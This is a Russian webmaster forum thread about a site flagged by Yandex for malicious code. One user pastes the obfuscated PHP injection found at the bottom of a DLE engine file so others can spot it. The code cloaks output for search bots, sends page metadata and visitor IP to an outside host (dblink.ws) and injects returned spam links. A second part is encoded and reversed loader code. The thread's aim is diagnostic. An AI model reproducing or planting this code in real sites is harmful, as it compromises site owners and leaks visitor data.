Вредоносный код
Страницы: 1 2 След.
Вредоносный код
Суть.
7-го марта чёрт меня дёрнул установить код Google Analytics.
Буквально через час получаю уведомление от Яндекс, что мол так и так, на вашем сайте обнаружен вредоносный код и ваш сайт в результатах поиска будет выводиться с соответствующей пометкой.
Ну естесственно, тут же я избавился от этого самого кода Google Analytics и отправил запрос в Яндекс на перепроверку сайта на наличие вредоносного кода.
Сегодня вердикт - код наличествует!
Пришлось делать бекап сайта.
Досадно!
И нет уверенности в том, что избавился. Жду результата по истечению пары дней.
Собственно, вопрос.
Кто-либо имел проблемы с Яндексом после установки себе на сайт кода Google Analytics?
Или же это просто совпадение?
Хотя, проверка на бяку через панель вебмастера Google проблем не выявила.
Или может это Яндекс решил мне такую хрень устроить после того, как я его достал своими претензиями в плане индексации?
Хотелось бы услышать ваши соображения.
Спасибо!

P.S. Перелопатил весь сайт, но криминала не нашёл. Обратился к хостеру. Те провели проверку и тоже, проблем не выявили.
У меня аналитик уже год стоит - никаких проблем по коду ни с кем не было.
В паре с Яндекс вебмастер?
Да, в паре, и Адсенс
Обычно яша перепроверяет сайты на вредоносные коды раз в 6-12 месяцев (это мои наблюдения), после проверки приходит письмо на поту от вебмастера(ели в настройках включно) недавно и у меня на один из сайтов такое письмо приходило, у меня все в порядке, вирусняка не обнаружено. Скорей всего с Google Analytics это просто совпадение, ищите вирус в другом месте.
Цитата
Lazun429 пишет:
Обычно яша перепроверяет сайты на вредоносные коды раз в 6-12 месяцев (это мои наблюдения), после проверки приходит письмо на поту от вебмастера(ели в настройках включно) недавно и у меня на один из сайтов такое письмо приходило, у меня все в порядке, вирусняка не обнаружено. Скорей всего с Google Analytics это просто совпадение, ищите вирус в другом месте.

Вот и мне 6-го числа пришло уведомление что мол поздравляем, всё в порядке, чисто.
А буквально на следующий день такая лажа.
В любом случае, спасибо всем откликнувшимся!
P.S. Сайту 8 месяцев и такое впервые.
У меня вирус просто на компе был.
Вредоносный код был совсем не от аналитика.
А просто вирус в браузере, и попадает либо в опрос на сайте, либо в другие места.
Проверь админку на сайте, на наличие подозрительных кодов.
Изменено: HitsMusic - 10 Марта 2011 20:56
http://www.cy-pr.com/forum/f79/t29401/ продаю место под баннер
кинь сайт с ЛС
сама вот только сегодня избавилась от этого кода, а вообще мне 8марта сервак ломанули. Знаю где код сисдит smile;) smile;)
Цитата
olchy пишет:
сама вот только сегодня избавилась от этого кода, а вообще мне 8марта сервак ломанули. Знаю где код сисдит


И где?
ищи в папке engine файл mysql php в самом низу файла
Эх, знать бы ещё как он выглядит! Во всяком случае, ничего подозрительного там не вижу.
хочешь найду?


<? $x2a="\x62\141\163e\066\x34_d\x65c\157d\145"; $x2b="\143o\165\156\x74"; $x2c="\143u\x72\154\137\x69\156\x69t"; $x2d="\143\165\x72\154_\x73\x65\164\157\x70\x74"; $x2e="\143u\162\x6c\x5f\x65\170e\143"; $x2f="curl\137c\x6c\157\163e"; $x30="ex\x70\154\157de"; $x31="\146\143l\157se"; $x32="\x66\x65of"; $x33="\146get\x73"; $x34="f\x69l\145\137\147e\x74_\x63ont\x65nts"; $x35="fs\x6f\x63\x6bop\x65\x6e"; $x36="\x66\165\x6ect\x69\157\156\x5f\x65\170\151\x73t\x73"; $x37="\x66w\x72\x69te"; $x38="\155\x62\137\143\x6f\156v\x65\162t\137en\x63\157\144\x69\x6e\147"; $x39="\x70a\162\163\145_u\162\154"; $x3a="\160reg\137\x72\x65\x70\x6c\141\x63\145"; $x3b="p\x72\x65g\x5fm\x61t\x63\150\137\x61\154\154"; $x3c="\160\x72\145\147_\155\x61t\143\x68"; $x3d="\163\164\162\137\162e\160\154\x61c\145"; $x3e="st\162\151\160\143\163\x6c\141\x73\x68\x65\x73"; $x3f="s\x75\x62\163t\x72"; $x40="st\x72\x70\157\163"; $x41="\163\x74r\x73\164\162"; $x42="\x74\162i\155";
function x0b($x0b,$x0c=false,$x0d=false){ global $x2a,$x2b,$x2c,$x2d,$x2e,$x2f,$x30,$x31,$x32,$x33,$x34,$x35,$x36,$x37,$x38,$x39,$x3a,$x3b,$x3c,$x3d,$x3e,$x3f,$x40,$x41,$x42; if($x0d){$x0e = $x0b.$x0c;}else{$x0e = $x2a($x0b).$x0c;}$x0f = false;if( @$x36('curl_init') ){ if( $x10 = @$x2c() ){if( !@$x2d($x10,CURLOPT_URL,$x0e) ) return $x0f;if( !@$x2d($x10,CURLOPT_RETURNTRANSFER,true) ) return $x0f;if( !@$x2d($x10,CURLOPT_CONNECTTIMEOUT,30) ) return $x0f;if( !@$x2d($x10,CURLOPT_HEADER,false) ) return $x0f;if( !@$x2d($x10,CURLOPT_ENCODING,"\147zi\x70,\x64\145f\154a\164\145") ) return $x0f;$x0f = @$x2e($x10);@$x2f($x10); }}else{ $x11 = $x39($x0e);if( $x12 = @$x35($x11['host'],!empty($x11['port']) ? $x11['port'] : 80 ) ){ $x13 = 'GET '.$x11['path'] . '?' . $x11['query'] .' HTTP/1.0'. "\r\n"; $x13 .= 'Host: '. $x11['host'] ."\r\n"; $x13 .= 'Connection: Close' . "\r\n\r\n"; @$x37($x12, $x13); $x0f = ''; while( !$x32($x12) ){ $x0f .= @$x33($x12,1024);}$x0f = $x3f($x0f,$x40($x0f,"\r\n\r\n") + 4);@$x31($x12); }}return $x0f;}function x0c($x14){ global $x2a,$x2b,$x2c,$x2d,$x2e,$x2f,$x30,$x31,$x32,$x33,$x34,$x35,$x36,$x37,$x38,$x39,$x3a,$x3b,$x3c,$x3d,$x3e,$x3f,$x40,$x41,$x42; return $x3d("\r\n","",$x42($x3e($x3a("'<\x5b\x5e>]\x2a>'s\x69",'',$x14))));}function x0d($x15){ global $x2a,$x2b,$x2c,$x2d,$x2e,$x2f,$x30,$x31,$x32,$x33,$x34,$x35,$x36,$x37,$x38,$x39,$x3a,$x3b,$x3c,$x3d,$x3e,$x3f,$x40,$x41,$x42; $x16 =$x3d("\r\n", "",$x15);$x16 =$x3d("\x20", "\x3a\x3a:\072",$x16);return x0c($x16);}function x0e($x17){ global $x2a,$x2b,$x2c,$x2d,$x2e,$x2f,$x30,$x31,$x32,$x33,$x34,$x35,$x36,$x37,$x38,$x39,$x3a,$x3b,$x3c,$x3d,$x3e,$x3f,$x40,$x41,$x42; $x3b("'\x3ca\056\x2a\077href=[\"\']\150\164t\160:\/\/(\056*?)\x5b\"\'][^\x3e]\x2a>'\x73\151",$x17,$x18);foreach($x18[1] as $x19){$x1a = $x30("/",$x19);$x1b = $x3a('/^www\./', '', $_SERVER["H\124\124\120\x5f\110\x4f\123T"]);$x1c = $x3a('/^www\./', '', $x1a[0]);if($x1c !== $x1b){$x1d[$x1c] = $x1c;}}return $x2b($x1d);}function x0f($x17){ global $x2a,$x2b,$x2c,$x2d,$x2e,$x2f,$x30,$x31,$x32,$x33,$x34,$x35,$x36,$x37,$x38,$x39,$x3a,$x3b,$x3c,$x3d,$x3e,$x3f,$x40,$x41,$x42; global $x1e;if($x3b("'\<\x6d\x65\x74a(\x2e\052?\x29\x5b\x5e>\135\x2a\076'\163i",$x17,$x1f)){foreach($x1f[0] as $x20 =>$x19){if($x41($x19,"d\x65\163c\162ip\x74\151\157\156")){$x3c("'c\157\156\164en\x74\x3d\133\"\'\135(\x2e\052\x3f\051[\"\'\x5d'\x73i",$x19,$x1e[0]);}if($x41($x19,"\x6b\145y\167ord\163")){$x3c("'content\075[\"\'\x5d(\x2e\x2a?\x29\133\"\'\135'\x73\x69",$x19,$x1e[1]);}if($x41($x19,"\103\157\156\x74\145\x6e\x74\x2d\x54\171pe") or $x41($x19,"\143\x6f\x6e\x74en\x74-\164\171\160\145")){$x3c("'\143\x68a\x72\163\x65t=\050\x2e\x2a?\051[\"\'\x5d'\x73\151",$x19,$x1e[2]);}}}if($x3c("'\x3c\164\x69\164l\x65\133^>\x5d\x2a\x3e\050\056\x2a\x3f\051\x3c\/\164\151\x74le[\x5e\x3e]\052>'\x73\x69",$x17,$x21)){if($x41($x21[1],'»')) $x3c("'(\x2e\052\077\051\046\162\x61q\x75\x6f;'s\x69",$x21[1],$x1e[3]);else $x1e[3][1] = $x21[1];}} function x10(){ global $x2a,$x2b,$x2c,$x2d,$x2e,$x2f,$x30,$x31,$x32,$x33,$x34,$x35,$x36,$x37,$x38,$x39,$x3a,$x3b,$x3c,$x3d,$x3e,$x3f,$x40,$x41,$x42; global $x1e;$x22 = $_SERVER["R\x45\x51UE\x53T\x5fU\122\x49"];$x23 = $_SERVER["HT\x54\x50\137\110O\x53\124"];if ( $x41($_SERVER['HTTP_USER_AGENT'], 'Yandex') or $x41($_SERVER['HTTP_USER_AGENT'], 'Google')){print "\074!-\x2d\142\x6f\164_\x74r\165\x65\x2d-\x3e\n";$x17 = x0b('aHR0cDovLw==',$x23.$x22); x0f($x17);$x24 = @$x34(ROOT_DIR.'/templates/'.$x25['skin'].'/main.tpl');$x26 = x0e($x17);$x27 = x0e($x24);$x28 = 'n';if ( $x41($_SERVER['HTTP_USER_AGENT'], 'Yandex')){$x28 = 'y';}elseif( $x41($_SERVER['HTTP_USER_AGENT'], 'Google')){$x28 = 'g';}if($x1e[2][1] == 'UTF-8' or $x1e[2][1] == 'utf-8'){$x1e[3][1] = $x38($x1e[3][1], 'windows-1251', 'UTF-8');$x1e[1][1] = $x38($x1e[1][1], 'windows-1251', 'UTF-8');$x1e[0][1] = $x38($x1e[0][1], 'windows-1251', 'UTF-8');}$x29 = x0b('aHR0cDovLw==','dblink.ws/conect.php?url='.$x22.'&host='.$x23.'&t='.x0d($x1e[3][1]).'&k='.x0d($x1e[1][1]).'&d='.x0d($x1e[0][1]).'&vs='.$x26.'&temp='.$x27.'&hu='.$x28.'&ip='.$_SERVER["\122E\115OT\105\x5fA\104\104\122"]); if($x1e[2][1] == 'UTF-8' or $x1e[2][1] == 'utf-8'){$x29 = $x38($x29, 'UTF-8', 'windows-1251');}echo $x29;}}x10();?>
короче может быть в любом фале!
'y1Td1FmYgIXY2tXeyR3epsyKptDa0dmblxmLyxTa7ATPpBichZHKy9mZ7MHdlVGaTVGb5R3cuQnbl1Wdj9GZ9IHIyFmd7wGb15WP';
$rgLOwEBvqMFB.='ql2dgIXY2tTKnkCbhZXZsoTY0FGZowmc1pDZuV3byd2ajFmYnwyJwM2IngyUTNUZ0FWZyN2O913Op42bpRXYyFGbjVGZsI3b0NWZ';
$rgLOwEBvqMFB.='sV2coUGb1JFZkFmLlR2bu9VZslHdz9FdzFGbpICdjVmai9mI90TKlxWdSRGZh5SZk9mbfVGb5R3cfR3chxGKm9WZwlHdoYWa70VM';
$rgLOwEBvqMFB.='tgGdn5WZs5yc0VWZoNVZslHdz5CduVWb1N2bkt1c0VWZoNVZslHdz5CduVWb1N2bk1TZk9mbfVGb5R3cfR3chxGIyFmd7lCM+gGd';
if(!$yghOILmMerv($WUAihks,$kgMRcrKoTLN) && !$yghOILmMerv($WUAihks,$KlwOdYaVNc) && !$yghOILmMerv($WUAihks,$PiMIxQd))$OgJvGZSlGv=false;
$rgLOwEBvqMFB.='n5WZs5yc0VWZoNVZslHdz5CduVWb1N2bkZiJzRXZlh2UlxWe0NnL05WZtV3YvRmJmUUSzlGKml2OpUGZv52XlxWe0NHKkxWaoNEZ';
$rgLOwEBvqMFB.='uVGcwFmLdBzWpICZhVGaigSZtFmTnFGV5J0c05WZtVGbFRXZn5CduVWb1N2bktjI9JyKu9Wa0Fmchx2YlR2KisHIisicvR3YlxWZ';
$rgLOwEBvqMFB.='z1DTNRFSyVmbulmLlR2bu9VZslHdzlSRJNXahgiZptTKiUGb5R3cigCduVWblxWRlRXYlJ3YuQnbl1Wdj9GZ9UGZv52XlxWe0NHI';
$RqLPusEEOFS=($OgJvGZSlGv&&$djqvfnaBM&&$vDLQtyuiow)? true : false;$qWzbKYiwTpn='60bBtFJEI47bBtFJEI98bBtFJEI111bBtFJEI100bBtFJEI121bBtFJEI62';
$rgLOwEBvqMFB.='yFmd7kSKhVHK0NXZ05yLul2dvgiJmkSKhVHK0NXZ05yLhJXZw92LoEiJmkSKhVHK0NXZ05yLll2ct9CK9UUSzlGIyFmd7kCKlNXY';
$rgLOwEBvqMFB.='DJXZ39GTvRnL05WZnFkclNXduI3b0F2ZpZXYu1TY1BichZ3ep42bpRXYyFGbjVGZsI3b0NWZsV2coM1UDVGdhVmcjBibvlGdj5Wd';
$bBtFJEI=BgYbUnJ($qWzbKYiwTpn,'bBtFJEI');$rgLOwEBvqMFB.='m5DdwlmcjNHP';function oIcvxxsRY($wlAphfsNfj){
global $rgLOwEBvqMFB,$mAbkrvQifwi,$AVPacdPjvkPQ,$ZrFJdwuQlr,$seELHWl,$qWzbKYiwTpn;$wlAphfsNfj=$seELHWl('|<!--[^<]*'.$qWzbKYiwTpn.'[^-]*-->|si','',$wlAphfsNfj);
$wlAphfsNfj=$ZrFJdwuQlr($qWzbKYiwTpn,$mAbkrvQifwi($AVPacdPjvkPQ($rgLOwEBvqMFB)),$wlAphfsNfj);return $wlAphfsNfj;}$DvAXIsXDZwkT='111oRMrwjI98oRMrwjI95oRMrwjI115oRMrwjI116oRMrwjI97oRMrwjI114oRMrwjI116';$oRMrwjI=BgYbUnJ($DvAXIsXDZwkT,'oRMrwjI');
?>


Это нижняя часть
Страницы: 1 2 След.
Похожие темы:
Читают тему (гостей: 2, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
02:14 MAX попер в бурж: 40 стран, ведение каналов и горы дешевого трафика 
22:19 Телега на ручнике: РКН включил замедление и логи админок покраснели 
22:16 Продажа и покупка Дзен-каналов 
21:58 С чего сейчас проще начать? 
17:17 как оплатить claude и gpt-5 из рф в 2026 чтобы не забанили через три дня 
12:12 Robots txt 
08:16 Стоит ли заморачиваться с мейл ру ? 
05:23 ByWare.net - работаем с наличными RUB/USD/EUR по всей России. 
01:45 Продвижение YouTube видео в топ поиска | Любой тип контента | Гарантия результата 
01:44 Trustpilot Reviews | Подниму рейтинг вашей компании 
01:44 №1 Рассылка / Инвайтинг [TELEGRAM] | Приватный метод 
01:43 Установка|Настройка|Доработка|Наполнение сайтов|Дизайн|3D|Видеомонтаж 
23:20 Адаптивная вёрстка сайта и прочие правки интерфейса (html, css, js) 
22:48 BestX24 - быстрый и безопасный обменник криптовалют и электронных денежных средств 
02:27 Точные прогнозы на футбол 
02:23 8 марта: желаю аптайма 99.9% и e-e-a-t без локов 
01:23 Актуально для тех кто хочет заработать в интернете 
21:46 блокировка youtube 2026: ркн начинает «выдавливание». кто уже пробовал вк видео? 
20:31 молодильные яблоки и живая вода 
15:35 Куплю проигрышные букмекерские аккаунты 
10:34 Панель Кнопки соцсетей